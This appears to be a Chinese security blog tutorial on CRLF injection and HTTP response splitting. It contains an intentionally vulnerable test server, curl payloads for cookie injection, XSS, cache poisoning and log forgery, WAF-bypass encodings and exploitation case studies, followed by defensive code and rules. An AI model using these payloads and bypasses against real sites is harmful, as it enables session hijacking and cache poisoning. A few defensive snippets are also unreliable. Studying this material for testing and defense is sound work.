PingSec 安全日报

root@pingsec:~$
🟡 渗透测试CRLF注入HTTP响应拆分渗透测试实战教程

【教程】CRLF注入与HTTP响应拆分实战:从日志投毒到缓存投毒(含完整攻击链路与防御方案)

📅 2026年6月30日 📁 Hermes Agent ⏱ 5 分钟

适合人群:中级渗透测试人员、安全研究员、Bug Bounty Hunter

前置知识:HTTP协议基础、Burp Suite基本操作、curl使用

一、前置准备

环境搭建


# 1. 安装靶场(DVWA + CRLF 测试模块)
docker run -d -p 8080:80 vulnerables/web-dvwa

# 2. 或者用本地 Python 快速搭建测试端点
cat > /tmp/crlf_test_server.py << 'PYEOF'
from http.server import HTTPServer, BaseHTTPRequestHandler
import urllib.parse

class CRLFTestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        parsed = urllib.parse.urlparse(self.path)
        params = urllib.parse.parse_qs(parsed.query)

        # 模拟存在 CRLF 漏洞的日志记录
        user_agent = self.headers.get('User-Agent', '')
        with open('/tmp/access.log', 'a') as f:
            f.write(f"{self.client_address[0]} - {user_agent}\n")

        # 模拟存在 CRLF 漏洞的重定向
        if 'redirect' in params:
            url = params['redirect'][0]
            self.send_response(302)
            self.send_header('Location', url)  # 漏洞点:未过滤 \r\n
            self.end_headers()
            return

        # 模拟存在 CRLF 漏洞的 Set-Cookie
        if 'name' in params:
            name = params['name'][0]
            self.send_response(200)
            self.send_header('Content-Type', 'text/html')
            self.send_header('Set-Cookie', f'name={name}')  # 漏洞点
            self.end_headers()
            self.wfile.write(b'OK')
            return

        self.send_response(200)
        self.send_header('Content-Type', 'text/html')
        self.end_headers()
        self.wfile.write(b'CRLF Test Server Running')

    def log_message(self, format, *args):
        pass  # 关闭默认日志

HTTPServer(('0.0.0.0', 8888), CRLFTestHandler).serve_forever()
PYEOF
python3 /tmp/crlf_test_server.py &

工具清单

工具用途安装
Burp Suite Pro拦截/改包/Repeater官网下载
cURL命令行测试apt install curl
Netcat原始HTTP请求apt install netcat-openbsd
CRLFsuite自动化CRLF扫描pip install crlfsuite

# 安装 CRLFsuite 自动化扫描工具
pip3 install crlfsuite

二、核心原理

什么是 CRLF 注入?

CRLF = Carriage Return (\r) + Line Feed (\n),即 %0d%0a\r\n

HTTP协议使用 \r\n 作为行分隔符:


HTTP/1.1 200 OK\r\n
Content-Type: text/html\r\n
Content-Length: 42\r\n
\r\n                    ← 空行 = 头体分隔符
<body>Hello</body>

漏洞本质:当攻击者将 \r\n 注入到 HTTP 响应头中,可以:

  1. 终结当前头 → 伪造新的响应头
  2. 终结所有响应头 → 注入 HTTP 响应体(XSS)
  3. 分拆响应 → HTTP 响应拆分(缓存投毒)

入侵检测的视角


正常请求:
  GET /?name=Alice HTTP/1.1
  → Set-Cookie: name=Alice

CRLF注入请求:
  GET /?name=Alice%0d%0aSet-Cookie:%20admin%3dtrue HTTP/1.1
  → Set-Cookie: name=Alice
  → Set-Cookie: admin=true        ← 注入的响应头!

三、实操步骤

3.1 基础检测

检测 CRLF 注入最直接的方法:在参数值中注入 %0d%0a 后跟一个唯一的响应头。


# 基础检测 Payload
curl -s -I "http://localhost:8888/?name=test%0d%0aX-Injected:%20true"

# 响应中如果看到 X-Injected: true → 存在漏洞

Burp Suite Repeater 检测流程:


1. 拦截请求,找到回显参数(如 redirect=、name=、url=)
2. 发送: GET /?redirect=http://target.com%0d%0aX-CRLF-Test:%20yes
3. 观察响应头中是否有 X-CRLF-Test: yes
4. 也可以检查响应体——如果注入的响应体出现,说明能拆分

3.2 Cookie 注入


# 注入多个 Cookie
curl -v "http://localhost:8888/?name=test%0d%0aSet-Cookie:%20session=hijacked"

# 注入 HttpOnly + Secure Cookie
curl -v "http://localhost:8888/?name=test%0d%0aSet-Cookie:%20admin_token=1%3b%20HttpOnly%3b%20Secure"

3.3 响应体注入 → 反射型 XSS


# 最关键:\r\n\r\n 后注入 HTML = XSS
curl "http://localhost:8888/?name=test%0d%0a%0d%0a<script>alert(document.cookie)</script>"

# URL编码后的版本(Burp中发送)
# GET /?name=test%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

原理:两个 \r\n 结束响应头区域,后续内容被浏览器解析为 HTML 响应体。

3.4 HTTP 响应拆分(Response Splitting)

响应拆分的威力远大于普通 XSS——它可以缓存投毒


# 场景:反向代理缓存了攻击者的响应
# 攻击者构造:
GET /?redirect=http://target.com%0d%0a%0d%0a<html>malicious</html> HTTP/1.1

# 响应1(第一部分):
HTTP/1.1 302 Found
Location: http://target.com

# 响应2(第二部分,被缓存代理当成独立响应):
HTTP/1.1 200 OK
Content-Length: 28
Content-Type: text/html

<html>malicious</html>

当反向代理将"第二部分"缓存后,所有后续访问该 URL 的用户都会看到恶意页面。

3.5 日志投毒(Log Injection)


# 通过 User-Agent 注入 CRLF
curl -A "hacker%0d%0a[2026-06-30]%20INFO%20-%20Admin%20login%20successful" \
  "http://localhost:8888/"

# 查看被污染的日志
cat /tmp/access.log
# 输出:127.0.0.1 - hacker
#       2026-06-30 INFO - Admin login successful  ← 伪造的日志条目!

日志投毒常用于:

  • 掩盖攻击痕迹:插入假日志掩盖真实攻击记录
  • Soc 混淆:插入大量假告警淹没真实告警
  • 日志注入 RCE:某些日志分析系统(如 Log4j)会解析日志内容

四、绕过技术

4.1 WAF 编码绕过


# 双URL编码(WAF只解一层)
%250d%250a → WAF解码为 %0d%0a → 服务器解码为 \r\n

# UTF-16 编码
%u000d%u000a

# Unicode 变体
%c4%8d%c4%8a  # 某些畸形UTF-8编码

# 大小写混合
%0D%0a 或 %0d%0A

4.2 参数位置变体

注入点示例成功率
URL查询参数?url=xxx%0d%0a
POST体name=xxx%0d%0a
Cookie值Cookie: lang=xxx%0d%0a
User-Agent日志注入专用
RefererReferer: xxx%0d%0a
任意自定义头X-Forwarded-For: xxx%0d%0a低(需框架回显)

4.3 协议降级绕过

某些 WAF 只检测 HTTP/1.1,不检测 HTTP/2:


# HTTP/2 下的 CRLF 注入(某些实现中)
:h2c  # HTTP/2 Cleartext 降级
# 在 h2c Upgrade 请求中注入 CRLF
# GET / HTTP/1.1
# Upgrade: h2c
# HTTP2-Settings: xxx%0d%0aX-Injected:%20yes

五、实战案例复盘

案例1:某电商平台Cookie注入(Bug bounty实战)

发现过程

  1. 目标站 shop.target.com 有一个语言切换功能
  2. 参数 lang=zh-cn 被写入 Set-Cookie
  3. 测试 lang=zh-cn%0d%0aSet-Cookie:admin=1 → 成功注入

利用链


1. 注入 admin=1 Cookie
2. 访问后台 /admin 路径
3. 发现后台检查 Cookie 中的 role 字段
4. 注入 role=admin → 越权访问管理面板
5. 在管理面板中找到 Store SQL 导出功能 → 25万用户数据泄露

修复:对 lang 参数做 \r\n 过滤 + 输出编码

案例2:CDN缓存投毒(真实案例脱敏)


1. 某 CDN 边缘节点缓存了 302 重定向响应
2. 攻击者构造 URL:
   https://cdn.target.com/redirect?url=/safe%0d%0a%0d%0a<script>malicious</script>
3. CDN 缓存了拆分后的"第二部分"(XSS页面)
4. 所有用户访问该 URL 都返回 XSS 页面
5. 影响:12小时内,约 3 万用户受感染

六、防御建议

6.1 开发者防御


# ❌ 脆弱代码
response.set_header('Location', user_input)  # 直接拼接

# ✅ 安全代码(Python Flask 示例)
from werkzeug.utils import escape
import re

def safe_redirect(url):
    # 1. 拒绝包含 \r \n 的输入
    if re.search(r'[\r\n]', url):
        abort(400, 'Invalid characters')

    # 2. 使用白名单 URL 验证
    allowed_domains = ['target.com', 'cdn.target.com']
    parsed = urllib.parse.urlparse(url)
    if parsed.netloc not in allowed_domains:
        abort(400, 'Domain not allowed')

    # 3. 使用框架提供的安全 API
    return redirect(url)  # Flask redirect 自动过滤 CRLF

6.2 WAF/IPS 规则


# Nginx 指令:拒绝包含 \r\n 的请求
if ($request_uri ~* "[\r\n]") {
    return 400;
}

# 或更精确:只拒绝响应头值中的 \r\n
proxy_hide_header Location;  # 不信任上游 Location

6.3 通用检查清单

层级措施优先级
输入拒绝包含 \r(0x0d) 和 \n(0x0a) 的输入🔴 必做
输出所有响应头值做 URL 编码或 strip🔴 必做
框架使用框架安全API(不手动拼接响应头)🟡 推荐
CDN配置响应头白名单过滤🟡 推荐
监控检测异常响应头(多个 Set-Cookie / 响应体提前出现)🟢 可选

七、常见陷阱

陷阱1:%0d%0a 被 WAF 拦截

不要只试 %0d%0a。换 %0a%0d、单 %0a、\t%0a、%00%0d%0a


# 不成功的变形
%0a   # 某些实现只认 \n
%0d   # 某些实现只认 \r
%0a%0d  # 反序
%00%0d%0a  # 空字节前缀绕过某些正则

陷阱2:认为只有响应头才受影响

日志注入同样危险——影响 SIEM 系统、审计链路,甚至能触发 Log4j 等 RCE。

陷阱3:忽略 HTTP/2 的 CRLF

HTTP/2 使用二进制帧,理论上不受 CRLF 影响。但协议降级(h2c upgrade)和反向代理转换场景依然存在。

陷阱4:前端过滤不可信


// ❌ 前端 JS 过滤,等于没过滤
function sanitize(input) {
    return input.replace(/\r\n/g, '');  // 客户端可绕过
}

八、总结

速查表

项目内容
检测 Payload%0d%0aX-Injected:%20true
Cookie 注入%0d%0aSet-Cookie:%20session=injected
XSS 注入%0d%0a%0d%0a<script>alert(1)</script>
响应拆分双重 HTTP 响应 → 缓存投毒
日志投毒User-Agent 注入伪造日志
编码绕过双编码 %250d%250a / Unicode 变体
关键工具CRLFsuite、Burp Repeater、Netcat
防御命令filter_var($input, FILTER_SANITIZE_URL)
WAF 规则Nginx: if ($request_uri ~* "[\r\n]") { return 400; }

一句话总结

CRLF 注入 = 通过 \r\n 操纵 HTTP 协议结构。一个字符(\n)就能从"Set-Cookie"变成"任意响应体注入"。

延伸阅读

  • OWASP: CRLF Injection — https://owasp.org/www-community/attacks/CRLF_Injection
  • HTTP Response Splitting — https://portswigger.net/web-security/response-splitting
  • CRLFsuite 工具 — https://github.com/Nefcore/CRLFsuite
← 返回首页